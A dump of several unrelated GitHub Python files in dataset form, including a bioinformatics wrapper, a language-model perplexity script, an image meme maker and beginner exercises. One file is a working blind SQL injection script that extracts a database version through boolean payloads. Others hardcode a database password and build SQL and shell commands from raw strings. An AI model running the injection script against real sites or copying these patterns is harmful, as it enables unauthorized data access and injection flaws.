library_size:\n    :param sequence_length:\n    :param mean_number_of_mutations_per_sequence:\n    :return:\n    '''\n    return wrap('stats.batch.mod', 'table', library_size, sequence_length, mean_number_of_mutations_per_sequence)\n\n\ndef pedel_batch(library_size, sequence_length, mean_number_of_mutations_per_sequence, nsteps):\n    \"\"\"\n    Unlike the orginal, no first digit. Give tuple or list of the max min of the variable to change.\n        Usage './pedel.batch.mac 1 L N lambda_0 lambda_1 nsteps outfile',\n       or './pedel.batch.mac 2 lambda N L_0 L_1 nsteps outfile',\n       or './pedel.batch.mac 3 L lambda N_0 N_1 nsteps outfile',\n    where\n      L = library size,\n      N = sequence length,\n      lambda = mean number of point mutations per sequence,\n    and _0 _1 give a range covered with nsteps steps.\n\n    :return:\n    \"\"\"\n    if isinstance(mean_number_of_mutations_per_sequence, (list, tuple)):\n        stats = wrap('pedel.batch', 'HTML', 1, library_size, sequence_length, mean_number_of_mutations_per_sequence[0],\n                     mean_number_of_mutations_per_sequence[1], nsteps, os.path.join(PATH,'outfile'))\n    elif isinstance(library_size, (list, tuple)):\n        stats = wrap('pedel.batch', 'HTML', 2, mean_number_of_mutations_per_sequence, sequence_length, library_size[0],\n                     library_size[1], nsteps, os.path.join(PATH,'outfile'))\n    elif isinstance(sequence_length, (list, tuple)):\n        stats = wrap('pedel.batch', 'HTML', 3, library_size, mean_number_of_mutations_per_sequence, sequence_length[0],\n                     sequence_length[1], nsteps, os.path.join(PATH,'outfile'))\n    else:\n        raise TypeError\n    return stats  # library_size sequence_length mean_number_of_mutations_per_sequence\n\ndef glue(nvariants, library_size=None,completeness=None,prob_complete=None):\n    \"\"\"\n    glue.mod gives an output similar to pedel.\n    Usage\n    './glue.mac 1 nvariants library_size',\n    or './glue.mac 2 nvariants completeness',\n    or './glue.mac 3 nvariants prob_100%_complete'.\n    :param nvariants:\n    :param library_size:\n    :param completeness:\n    :param prob_complete:\n    :return:\n    \"\"\"\n    if library_size and not completeness and not prob_complete:\n        return wrap('glue.mod','=','1',nvariants,library_size)\n    elif not library_size and completeness and not prob_complete:\n        return wrap('glue.mod','=','2',nvariants,completeness)\n    elif not library_size and not completeness and prob_complete:\n        return wrap('glue.mod','=','3',nvariants,prob_complete)\n\ndef driver(library_size, sequence_length, mean_number_of_crossovers_per_sequence, list_of_variable_positions_file, outfile, xtrue):\n    \"\"\"\n    Usage './driver.mac library_size sequence_length mean_number_of_crossovers_per_sequence list_of_variable_positions_file outfile xtrue'.\n    I really really need to change the inputs.\n    Total number of possible sequences = 512.<br>\n    Expected number of distinct sequences = 67.96.<br>\n    Mean number of actual crossovers per sequence = 2.<br>\n    Mean number of observable crossovers per sequence = 0.8022.<br>\n    :return:\n    \"\"\"\n    return wrap('driver',' ',library_size, sequence_length, mean_number_of_crossovers_per_sequence, list_of_variable_positions_file, outfile, xtrue)\n\ndef glueit_csh(library_size,codonfile):\n    \"\"\"\n    This version runs the Cshell with has issues in Linux.\n    :param library_size:\n    :param codonfile:\n    :return:\n    \"\"\"\n    cmd= \" csh {aff}/glueIT{OS}.csh {lib:f} {cf}\".format(aff=PATH,lib=library_size,cf=codonfile, OS=SUFFIX)\n    print('The command to run is {f}'.format(f=cmd))\n    return str(os.popen(cmd).read())\n\ndef glueit(library_size,datfile):\n    cmd= \"direvo/bikeshed/glueITc{OS} {cf}\".format(aff=PATH,cf=datfile, OS=SUFFIX)\n    #print('The command to run is {f}'.format(f=cmd))\n    return str(os.popen(cmd).read())\n\ndef pedelAA(filename):\n    #print('The command to run is ./pedel-AAc {f}'.format(f=filename))\n    html=wrap('pedel-AAc',' ',filename)\n    #print(html)\n    data={'html': html}\n    # base freq\n    rex=re.search('There are (\\d+) T\\'s, (\\d+) C\\'s, (\\d+) A\\'s and (\\d+) G\\'s in the input sequence.', html)\n    rex.group(1)\n    for i,k in enumerate(('T','C','A','G')):\n        data[k]=rex.group(i+1)\n    # summary table\n    data['summary_table']='<table class=\"table table-striped\">'+re.search('\\<table.*?\\>(.*?)\\<\\/table',html,re.DOTALL).group(1)+'</table>'\n    # indel\n    data['middle']=re.search('table><br>(.*?)<br><b>Links to further information', html,re.DOTALL | re.MULTILINE).group(1)\n    with open(filename[:-6]+'table.html','r') as f:\n        x='<table>{}</table>'.format(re.search('<table.*?>(.*?)</table',f.read(),re.DOTALL).group(1))\n        data['sub_table'] =x.replace('nan', '—')\\\n            .replace('<table>','<table class=\"table table-striped\">')\\\n            .replace('<a href=/aef/STATS/FORM/pedel-AA_exact.html>Exact</a>','<a data-toggle=\"modal\" data-target=\"#pedelAA_exact_modal\">Exact</a>') \\\n            .replace('<a href=/aef/STATS/FORM/pedel-AA_CxLx.html>Cx ~ Lx</a>', '<a data-toggle=\"modal\" data-target=\"#pedelAA_CxLx_modal\">C<sub>x</sub> ~ L<sub>x</sub></a>') \\\n            .replace('<a href=/aef/STATS/FORM/pedel-AA_warningRx.html>Rx warning</a>', '<a data-toggle=\"modal\" data-target=\"#pedelAA_warningRx_modal\">Rx warning</a>') \\\n            .replace('<a href=/aef/STATS/FORM/pedel-AA_warning.html>warning</a>', '<a data-toggle=\"modal\" data-target=\"#pedelAA_warning_modal\">warning</a>')\n    # table to data...\n    table=[re.findall('<td.*?>(.*?)<\\/td>', row) for row in re.findall('<tr.*?>(.*?)<\\/tr>',data['sub_table'].replace('\\n',''))]\n    table.pop(0)\n    table.pop(0)\n    for i, row in enumerate(table):\n        for j, entry in enumerate(row):\n            if len(entry) == 0:\n                pass\n            elif entry.find('<') == 0:\n                rex = re.search('>(.*?)<', entry)\n                if rex:\n                    table[i][j] = '{0}'.format(rex.groups(1)[0])\n                else:\n                    raise Exception(entry)\n            elif entry.find('—') == 0 or entry.find('-') == 0:\n                table[i][j] = '–'\n            elif entry.find('>20') == 0:\n                table[i][j] = 20\n            else:\n                table[i][j] = float(entry)\n    data['sub_table_data']=table\n    with open(filename[:-6] + 'matrix.html', 'r') as f:\n        data['matrix']='<table class=\"table table-striped\">{}</table>'.format(re.search('<table.*?>(.*?)</table', f.read(), re.DOTALL).group(1))\n    return data\n    th='<th>{}</th>'\n    td='<td></td>'\n    tr='<tr></tr>'\n    h=tr.format(''.join([th.format(x) for x in ['<i>x</i>','<i>V</i><sub><i>x</i>@1</sub>','<i>V</i><sub><i>x</i>@1</sub>','<i>R<sub>x</sub></i>','<i>R<sub>x</sub></i>','<i>L<sub>x</sub></i>','<i>C<sub>x</sub></i>','<i>L<sub>x</sub> &ndash; C<sub>x</sub></i>','Notes']]))\n    for row in table[:-1]:\n        raise NotImplementedError\n        #THIS IS WHERE I AM AT\n    tablehtml='<table class=\"table table-striped\"><thead>{h}</thead><tbody>{b}</tbody></table>'.format(h=h,b=b)\n\n\n\ndef wrap(fun, separator, *args):\n    \"\"\"\n    Okay. I really ought to have altred the C code for distutils, but this nasty hack is fine for now.\n    :param fun:\n    :param args:\n    :return:\n    \"\"\"\n    cmd = os.path.join(PATH,fun + SUFFIX)  + ' ' + ' '.join(args)\n    #print('from bike.wrap: ', cmd)\n    if separator == ' ':\n        return str(os.popen(cmd).read())\n    if separator == '=':\n        preply = {}\n    elif separator == 'HTML' or separator == 'table':\n        preply = []\n    for r in str(os.popen(cmd).read()).split('.<br>\\n'):   #str is redundant but for some reason pycharm pre-warns against it.\n        if r and separator == '=':\n            r2 = r.split(' = ')\n            key = r2[0].replace(' ', '_').lower()\n            if r2[1].find('.') != -1 or r2[1].find('e') != -1:\n                preply[key] = float(r2[1])\n            else:\n                preply[key] = int(r2[1])\n        elif r and separator == 'HTML': #single loop.\n            preply = [[float(y) for y in x.split('</td><td>')] for x in\n                      re.sub('\\<th>*?\\/th\\>', '', re.sub('\\<table.*?\\>', '', r)).replace('<tr align=\"right\"><td>',\n                                                                                         '').replace('</td></tr>',\n                                                                                                     '').replace(\n                          '</table><br>', '').split('\\n') if x]\n        elif r and separator == 'table':\n            preply =[[float(y) for y in x.split()] for x in r.split('\\n')]\n    return preply\n","repo_name":"matteoferla/DirEvo_tools","sub_path":"direvo/bike.py","file_name":"bike.py","file_ext":"py","file_size_in_byte":10027,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"28676178177","text":"# # R\ndeath_note = {\n    \"rule1\": \"If someone's name is written in the note, they'll be dead in 40 seconds.\",\n    \"rule2\": \"The writer have to know the face of the people they write.\",\n    \"rule3\": \"The writer can decide the reason of the death by writing it in the note in the next 40 seconds.\",\n}\n# for i in death_note:\n#     print(i, end=\"      \")\n\n# print()\n# n = input(\"Code? \").lower()\n# print(death_note[n])\n\n\n# # U \n# ans = input(\"Do you want to update? Y/N \").upper()\n# if ans == \"Y\":\n#     upd = input(\"Update rule? \").lower()\n#     death_note[upd] = input(\"Enter new rule: \")\n# print(death_note)\n\n\n# # C - giong Update(neu key ton tai: update, neu key k ton tai: create)\n# death_note[\"rule4\"] = \"Bla bla bla bla\"\n\n\n# kiem tra xem key co ton tai hay khong\nrule = input(\"Enter rule: \").lower()\nif rule in death_note:\n    print(\"Rule exists.\")\nelse:\n    ans = input(\"Not exists. Contribute? Y/N \").upper()\n    if ans == \"Y\":\n        death_note[rule] = input(\"Enter new rule: \")\nprint(death_note)\n# muon lap lai -> while True:\n\n# D\ndel death_note[\"rule3\"]\n","repo_name":"peekachoo/dangthuhuyen-fundamental-c4e25","sub_path":"Session4/lookup.py","file_name":"lookup.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40193649808","text":"from gql import Client\nfrom gql.transport.requests import RequestsHTTPTransport\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_200_OK\nfrom rest_framework.views import APIView\nfrom .mutations import orderCreateFromCheckoutMutation\nfrom .settings import SALEOR_API, SALEOR_API_TOKEN\n\n\n#Order Pro\nfrom OrderPro.models import OrderCheckoutTasks\n\n\ntransport = RequestsHTTPTransport(\n    url=SALEOR_API,\n    headers={'Authorization': f\"Bearer {SALEOR_API_TOKEN}\"},\n    verify=True,\n    retries=3,\n)\n\n\nclient = Client(transport=transport, fetch_schema_from_transport=True)\n\n\nclass CreateOrderFromCheckout(APIView):\n\n    def post(self, request):\n        \n        checkout_id = request.data.get('checkoutID')\n        execution_time = request.data.get('DateTime')\n\n        \n        if not execution_time :\n\n            remove_checkout = True\n            data = client.execute(orderCreateFromCheckoutMutation, variable_values={\n                \"id\": checkout_id,\n                \"removeCheckout\": remove_checkout\n            })\n\n            return Response(data, status=status.HTTP_200_OK)\n        \n        else:\n\n            OrderPro = OrderCheckoutTasks(checkoutID = checkout_id, execution_time = execution_time )\n            OrderPro.save()\n            #   - Quantité her\n            return Response({\"status\": \"Order is reserved\"}, status=status.HTTP_200_OK)","repo_name":"MohamedEZ-zaalyouy/Commande-Programm-e","sub_path":"checkout/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25884522996","text":"# import libraries\nimport pandas as pd\nimport mysql.connector\n\n\n# Connect Database\nmydb = mysql.connector.connect(\n    host=\"localhost\",\n    user=\"root\",\n    password=\"Fluxbyte@7\",\n    database=\"ExcelData\",\n\n)\nmycursor = mydb.cursor()\n\n# Create Database\n# mycursor.execute(\"CREATE DATABASE ExcelData\")\n\n# CSV File Data\ndata = pd.read_csv(\n    r\"C:\\Users\\fluxb\\OneDrive\\Desktop\\Hitesh\\Python-Task\\data\\gujarat_covid.csv\")\ndata_covid = pd.DataFrame(data)\nprint('data_covid: ', data_covid)\n\n\n# Create table\n# mycursor.execute(\"CREATE TABLE Covid_Data (id INT AUTO_INCREMENT PRIMARY KEY, District VARCHAR(255), Active_Cases integer, Cases_Tested_for_COVID19 integer, Patients_Recovered integer)\")\n\n# Insert column\n# mycursor.execute(\"ALTER TABLE  Covid_Data ADD (People_Under_Quarantine integer)\")\n# mycursor.execute(\"ALTER TABLE  Covid_Data ADD (Total_Deaths integer)\")\n\n\n# Insert data\nvalue = \"\"\nfor row in data_covid.itertuples():\n    value = value + \\\n        f\"('{row.District}',{row.Active_Cases},{row.Cases_Tested_for_COVID19},{row.Patients_Recovered},{row.People_Under_Quarantine},{row.Total_Deaths}),\"\nmycursor.execute(\n    f\"\"\"INSERT into Covid_Data (District,Active_Cases,Cases_Tested_for_COVID19,Patients_Recovered,People_Under_Quarantine,Total_Deaths)  VALUES {value[:-1]}\"\"\")\n\nmydb.commit()\n","repo_name":"hitesh3121/Python-Connect-Database-Dropzone","sub_path":"pythonDB.py","file_name":"pythonDB.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4134877812","text":"# This file now calculate the absolute perplexity of a LM on 2021 WMT News\n# This file will soon be updated to calculate the relative perplexity of two LMs\nimport gzip\nimport hashlib\nimport base64\nfrom tqdm import tqdm\nimport csv\nimport os\nimport math\nfrom math import exp\nimport random\nfrom itertools import chain\nimport spacy\nimport numpy as np\nimport pandas as pd\n\nfrom transformers import T5Tokenizer, T5ForConditionalGeneration, T5Config\nimport torch\nfrom Datasets import Pretrain\nfrom torch.utils.data import DataLoader\n\nfrom models.Lora15_T5 import T5ForConditionalGeneration as T5_Lora15\nfrom models.Lora16_T5 import T5ForConditionalGeneration as T5_Lora16\nfrom models.Lora17_T5 import T5ForConditionalGeneration as T5_Lora17\nfrom models.Lora18_T5 import T5ForConditionalGeneration as T5_Lora18\nfrom models.Lora19_T5 import T5ForConditionalGeneration as T5_Lora19\nfrom models.Lora20_T5 import T5ForConditionalGeneration as T5_Lora20\nfrom models.Original_T5 import T5ForConditionalGeneration as T5_Original\n\n\ndef get_T5model(full_path):\n    path = full_path.split('/')[-1]\n    if 'lora15' in path:\n        return T5_Lora15.from_pretrained(full_path)\n    elif 'lora16' in path:\n        return T5_Lora16.from_pretrained(full_path)\n    elif 'lora17' in path:\n        return T5_Lora17.from_pretrained(full_path)\n    elif 'lora18' in path:\n        return T5_Lora18.from_pretrained(full_path)\n    elif 'lora19' in path:\n        return T5_Lora19.from_pretrained(full_path)\n    elif 'lora20' in path:\n        return T5_Lora20.from_pretrained(full_path)\n    elif 'original' in path:\n        return T5_Original.from_pretrained(full_path)\n    else:\n        raise Exception('Select the correct model path please.')\n\n\ndef evaluate_perp(args, Model):\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n    spacy.prefer_gpu()\n    torch.cuda.empty_cache()\n\n    # Load model\n    \n    print(f'Loading model {args.eval_model_path}')\n    #if args.checkpoint_path!=\"\":\n    #    model = Model.load_from_checkpoint(checkpoint_path=args.checkpoint_path, hparams=args, strict=False) \n    #else:\n    #    model = Model(args)\n    model = get_T5model(args.eval_model_path)\n    model = torch.nn.DataParallel(model)\n    model.to(device)\n    model.eval()\n\n    # Load Tokenizer\n\n    print('Loading Tokenizer')\n    tokenizer = T5Tokenizer.from_pretrained(args.model_name_or_path)\n\n    # Load Dataset\n\n    print(f'Loading dataset {args.dataset}')\n    dataset = pd.read_csv(args.dataset)\n\n    # Path to saving the PPL Results\n\n    MYDIR = (\"/\".join((args.output_log.split('/'))[:-1]))\n    CHECK_FOLDER = os.path.isdir(MYDIR)\n    if not CHECK_FOLDER:\n        os.makedirs(MYDIR)\n        print(\"created folder : \", MYDIR)\n    else:\n        print(MYDIR, \"folder already exists.\")\n    \n    # Calculate PPL\n    print('Calculating ppl...')\n    with open(args.output_log, 'w', newline='') as writefile:\n        wmt_text_loss = []\n        wmt_text_len = []\n        writer = csv.writer(writefile)\n        writer.writerow([ 'index', 'loss']) # [ 'id1', 'id2', 'loss']\n        for i in range(len(dataset)):\n            batch = dataset.iloc[i]\n            inputs = tokenizer(batch['input'], padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device)\n            labels = tokenizer(batch['output'], padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device)\n            with torch.no_grad():\n                outputs = model(input_ids=inputs, labels=labels)\n                loss = outputs.loss\n            wmt_text_loss.append(loss.item())\n            wmt_text_len.append(len(batch['output'].split(' ')) - 2)\n            writer.writerow([batch['index'], wmt_text_loss[-1], wmt_text_len[-1]]) # [batch['id1'], batch['id2'], wmt_text_loss[-1], wmt_text_len[-1]]\n        #text_loss = np.exp(sum(wmt_text_loss)/len(wmt_text_loss))\n        text_loss = np.exp(sum(wmt_text_loss)/sum(wmt_text_len))\n        print(f'ppl: {text_loss}')\n        writer.writerow([args.year, args.eval_model_path, text_loss])\n\n'''\n    dataset = pd.read_csv(args.dataset)\n    inputs = dataset['input']\n    labels = dataset['output']\n    #tokenizer\n    #inputs = tokenizer(inputs, padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device)\n    #labels = tokenizer(labels, padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device)\n    inputs = tokenizer.batch_encode_plus(inputs, padding='longest', truncation=False, return_tensors=\"pt\").input_ids.to(device)\n    labels = tokenizer.batch_encode_plus(labels, padding='longest', truncation=False, return_tensors=\"pt\").input_ids.to(device)\n    id1 = torch.tensor(dataset['id1']).unsqueeze(dim=1).to(device) # dataset['id1'].to(device)\n    id2 = torch.tensor(dataset['id2']).unsqueeze(dim=1).to(device)\n    #eval_data = {\"id1\": id1, \"id2\": id2, \"input\": inputs, \"output\": labels}\n    eval_data = []\n    for i in range(len(dataset)):\n        eval_data.append({\"id1\": id1[i,:], \"id2\": id2[i,:], \"input\": inputs[i,:], \"output\": labels[i,:]})\n    loader = DataLoader(eval_data, batch_size=args.train_batch_size, shuffle=False)\n    print('Calculating ppl...')\n    with open(args.output_log, 'w', newline='') as writefile:\n        wmt_text_loss = []\n        writer = csv.writer(writefile)\n        writer.writerow([ 'loss_len_list', 'text_loss', 'loss_list', 'len_list'])\n        for batch in iter(loader):\n            with torch.no_grad():\n                outputs = model(input_ids=batch['input'], labels=batch['output'])\n                loss = outputs.loss\n            wmt_text_loss.append(loss.item()/args.train_batch_size)\n            writer.writerow([batch['id1'], batch['id2'], loss.item()/args.train_batch_size])\n        text_loss = np.exp(sum(wmt_text_loss)/len(wmt_text_loss))\n        writer.writerow([args.year, args.eval_model_path, text_loss])\n'''\n\n'''\n    print('Calculating ppl...')\n    with open(args.output_log, 'w', newline='') as writefile:\n        writer = csv.writer(writefile)\n        writer.writerow([ 'id','input_', 'target', 'loss'])\n        id_ = 0\n        wmt_text_loss = []\n        wmt_text_len = []\n        for text in wmt_text:\n            input_ = \"\"\n            target = \"\"\n            loss_list = []\n            len_list = []\n            doc = nlp(text)\n            if len(doc.ents)==0:\n                continue\n            for ent in doc.ents:\n                start_index = ent.start_char\n                end_index = ent.end_char\n                word = ent.text\n\n                input_ = text[:start_index] + '<extra_id_{0}>' + text[end_index:]\n                target = '<extra_id_{0}>' +\" \" + word +\" \" + '<extra_id_{1}>'\n                input_ids = tokenizer(input_, padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device) #zzh .cuda()\n                labels = tokenizer(target, padding= 'do_not_pad', return_tensors=\"pt\").input_ids.to(device) #zzh .cuda()\n                with torch.no_grad():\n                    #loss = model(input_ids=input_ids, labels=labels).loss\n                    outputs = model(input_ids=input_ids, labels=labels)\n                    loss = outputs.loss\n                    logits = outputs.logits\n                loss_list.append(loss.item())\n                len_list.append(len(word.split(' ')))\n                writer.writerow([id_, input_, target, loss.item()])\n            id_ += 1\n            #text_loss = np.exp(sum(np.multiply(loss_list, len_list))/sum(loss_list))\n            text_loss = np.exp(sum(np.multiply(loss_list, len_list))/sum(len_list))\n            #writer.writerow([ 'loss_len_list', text_loss, loss_list, len_list])\n            wmt_text_loss.append(text_loss)\n\n        writer.writerow([args.year, args.eval_model_path, sum(wmt_text_loss)/len(wmt_text_loss)])\n        print(f'ppl : {sum(wmt_text_loss)/len(wmt_text_loss)}')\n'''","repo_name":"zzhheloise/Titian","sub_path":"evaluation_perp.py","file_name":"evaluation_perp.py","file_ext":"py","file_size_in_byte":7732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30236781706","text":"from PIL import Image\r\nfrom PIL import ImageDraw\r\nfrom PIL import ImageFont\r\n\r\ndef cortar(img, w, h):\r\n    \"\"\"Crop the image to the desired aspect ratio\"\"\"\r\n    original_width, original_height = img.size\r\n    newWidth = (original_height/(h/100))*(w/100)\r\n    box = ((original_width-newWidth)/2, 0, (original_width+newWidth)/2, original_height)\r\n    img = img.crop(box)\r\n    img = img.resize((w,h))\r\n    return img\r\n\r\ndef concatenar(img1, img2, width, height):\r\n    \"\"\"Concatenate two images horizontally, assuming they have the same height\"\"\"\r\n    result = Image.new(\"RGB\", (2*width, height), \"white\")\r\n    result.paste(img1, (0, 0))\r\n    result.paste(img2, (width, 0))\r\n    return result\r\n\r\ndef texto(img, frase, fonte='arial.ttf', font_size=None):\r\n    \"\"\"Add text to the image\"\"\"\r\n    if font_size is None:\r\n        font_size = img.size[1]//12\r\n    draw = ImageDraw.Draw(img)\r\n    font = ImageFont.truetype(fonte, font_size)\r\n    # draw in the center of the image\r\n    width, height = img.size\r\n    text_width, text_height = draw.textsize(frase, font=font)\r\n    pos = ((width-text_width)/2, 0.05*height)\r\n    stroke_width = font_size//25\r\n    draw.text(pos, frase, font=font, stroke_width=stroke_width, stroke_fill='black')\r\n    return img\r\n\r\ndef open_image(img):\r\n    \"\"\"Open an image from a local file or from the web\"\"\"\r\n    if img.startswith('http'):\r\n        import requests\r\n        img = requests.get(img, stream=True).raw\r\n    img = Image.open(img)\r\n    return img\r\n\r\ndef this_into_that(img1, img2, text1, text2, width, height, font='arial.ttf', font_size=None):\r\n    \"\"\"Merges two images horizontally, adding text to each\r\n    img1: path to the first image\r\n    img2: path to the second image\r\n    text1: text to be added to the first image\r\n    text2: text to be added to the second image\r\n    width: width of the final image\r\n    height: height of the final image\r\n    font: path to the font to be used\r\n    font_size: size of the font\r\n    \"\"\"\r\n    img1 = open_image(img1)\r\n    img2 = open_image(img2)\r\n    img1 = cortar(img1, width//2, height)\r\n    img2 = cortar(img2, width//2, height)\r\n    img1 = texto(img1, text1, font, font_size)\r\n    img2 = texto(img2, text2, font, font_size)\r\n    result = concatenar(img1, img2, width//2, height)\r\n    return result\r\n\r\nlorem_picsum = 'https://picsum.photos/1024/1024'\r\nresult = this_into_that(lorem_picsum, lorem_picsum, 'Turn this...', '...into that!!!', 512, 512)\r\nresult.save('result.jpg')","repo_name":"edurrada/Pillow-1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72610038500","text":"\r\nfrom django.urls import path\r\nfrom .import views\r\n\r\nurlpatterns = [\r\n    path('',views.index,name='index'),\r\n    path('main',views.main,name='main'),\r\n     path('adminpage',views.adminpage,name='adminpage'),\r\n     path('adminlogin',views.adminlogin,name='adminlogin'),\r\n     path('admin',views.admin,name='admin'),\r\n     path('signout',views.signout,name='signout'),\r\n     path('insertcontact',views.insertcontact,name='insertcontact'),\r\n     path('admincontact',views.admincontact,name='admincontact'),\r\n     path('adminvideo',views.adminvideo,name='adminvideo'),\r\n     path('insertvideo',views.insertvideo,name='insertvideo'),\r\n     path('deletecontact/<int:pk>',views.deletecontact,name='deletecontact')\r\n]\r\n","repo_name":"Kausalliya/altos-contact-us","sub_path":"contactapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13357341029","text":"print('\\033[1;33m{=== EXERCÍCIO 103 ===}\\033[m')\r\nprint('\\033[1m=-=-=' * 10)\r\nprint('{}  Função para Ficha do Jogador'.format(' ' * 10).upper())\r\nprint('=-=-=' * 10)\r\nfrom time import sleep\r\n\r\n\r\ndef jogador(nome='<desconhecido>', gols=0):\r\n    return print(f'O jogador {nome} marcou {gols} gol(s) na temporada.')\r\n\r\n\r\nnome = str(input('Digite o nome do jogador: ')).upper()\r\ngol = str(input('Quantos gols marcou na temporada: '))\r\nif gol.isnumeric():\r\n    gol = int(gol)\r\nelse:\r\n    gol = 0\r\nif nome.strip() == '':\r\n    jogador(gols=gol)\r\nelse:\r\n    jogador(nome, gol)\r\n\r\nsleep(2)\r\nprint('\\033[1;33m{=== FINALIZADO 103 ===}')","repo_name":"GeraldoLucas/Python_3.8","sub_path":"Composite Structures/ex103.py","file_name":"ex103.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"30362458514","text":"\nimport requests, sys, argparse\nimport urllib.parse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--url', help='Target URL', required=True)\nparser.add_argument('-d', '--data', help='Data; with SQLI vulnerable field as SQLI\\n (eg. name=SQLI&password=test)', required=True)\nparser.add_argument('-m', '--method', help='HTTP Request Method: GET or POST', required=True)\nparser.add_argument('-px','--proxy',help='Enable proxy; in this format: 127.0.0.1:8080')\nargs = parser.parse_args()\n\nmethod = None\npx = None\n\nurl = args.url\ndata = args.data\npx = args.proxy\nmethod = args.method\n\n# 1. identify a baseline and see how the injected TRUE and FALSE subqueries influence the HTTP responses\nproxy = {'http':'http://%s' % px}\ns = requests.Session()\n\ndef establish_baseline(url, method, data):\n    true_statement = \"AAAA')/**/or/**/(select/**/1)=1%23\"\n    false_statement = \"AAAA')/**/or/**/(select/**/1)=0%23\"\n\n    true_payload = data.replace(\"SQLI\", true_statement)\n    false_payload = data.replace(\"SQLI\", false_statement)\n\n    #getting TRUE content headers\n    if (method == \"POST\"):\n        if proxy is not None:\n            true_resp = s.post(url,data=true_payload, proxies=proxy)\n            false_resp = s.post(url,data=false_payload, proxies=proxy)\n        else:\n            true_resp = s.post(url, data=true_payload)\n            false_resp = s.post(url,data=false_payload)\n\n        true_content_length = int(true_resp.headers['Content-Length'])\n        false_content_length = int(false_resp.headers['Content-Length'])\n        # len(r.content)\n        # true_content_length = int(len(true_resp.content))\n        # false_content_length = int(len(false_resp.content))\n        \n    elif (method == \"GET\"):\n        if proxy is not None:\n            true_resp = s.get(url,params=true_payload, proxies=proxy)\n            false_resp = s.get(url,params=false_payload, proxies=proxy)\n        else:\n            true_resp = s.get(url, params=true_payload)\n            false_resp = s.get(url,params=false_payload)\n        \n        true_content_length = int(true_resp.headers['Content-Length'])\n        false_content_length = int(false_resp.headers['Content-Length'])\n        # true_content_length = int(len(true_resp.content))\n        # false_content_length = int(len(false_resp.content))\n\n    elif (method == None):\n        print('exiting...')\n        sys.exit()\n\n    else:\n        print(\"[-] sorry! GET or POST methods only!\")\n        sys.exit()\n    \n    return true_content_length, false_content_length\n\ndef extractChar(false_content_length, url, data, inj_str):\n    for j in range(32, 126):\n        t = inj_str.replace(\"[CHAR]\", str(j))\n        data= data.replace(\"SQLI\",t)\n\n        if (method == \"POST\"):\n            if proxy is not None:\n                resp2 = s.post(url, data=data,proxies=proxy)\n            else:\n                resp2 = s.post(url, data=data)\n        \n        elif (method == \"GET\"):\n            if proxy is not None:\n                resp2 = s.get(url,params=data, proxies=proxy)\n            else:\n                resp2 = s.get(url, params=data)\n        \n        cur_content_length = int(resp2.headers['Content-Length'])\n        if (cur_content_length > false_content_length):\n            return j\n        return None\n    \ndef extractVersion(false_content_length,url,method,data):\n    print('[*] retrieving database version...')\n    for i in range(1,20):\n        temp = \"test')/**/or/**/(ascii(substring((select/**/version()),%d,1)))=[CHAR]%%23\" % i\n        injection_str = urllib.parse.quote(temp)\n        extracted_char = chr(extractChar(false_content_length,url,data,injection_str))\n        sys.stdout.write(extracted_char)\n        sys.stdout.flush()\n    print(\"\\n[+] done!\")\n\n\n\"\"\" def searchFriends_sqli(ip, inj_str):\n    for j in range(32, 126):\n        # now we update the sqli\n        exploit = url\n        payload = inj_str.replace(\"[CHAR]\", str(j))\n        r = requests.get(target)\n        content_length = int(r.headers['Content-Length'])\n        if (content_length > 20):\n            return j\n        return None \"\"\"\n\ndef main():\n    true_content_length, false_content_length = establish_baseline(url, method, data)\n    if (true_content_length == false_content_length):\n        print(\"[-] what? are you sure that's vulnerable?\")\n        exit\n    else:\n        extractVersion(false_content_length,url,method,data)\n\n\nif __name__ == '__main__':\n    main()    ","repo_name":"tyranteye666/oswe-scripts","sub_path":"sqli-extract-data.py","file_name":"sqli-extract-data.py","file_ext":"py","file_size_in_byte":4398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25186271620","text":"def main():\n\n    print(\"** loop over sequence of integers **\")\n    \n    for i in range(10):\n        print(i)\n\n    words = [\"Overhead\", \"the\", \"albatross\", \"hangs\",\n             \"motionless\", \"upon\", \"the\", \"air\"]\n\n    print(\"** loop over items in list **\")\n    \n    for w in words:\n        print(w)\n\n\n    x = 0\n    while x < 5:\n        print(\"While loop\")\n        x += 1\n\n        \n    \nif __name__ == \"__main__\":\n    main()\n","repo_name":"kzrl/python-playground","sub_path":"loops/loops.py","file_name":"loops.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
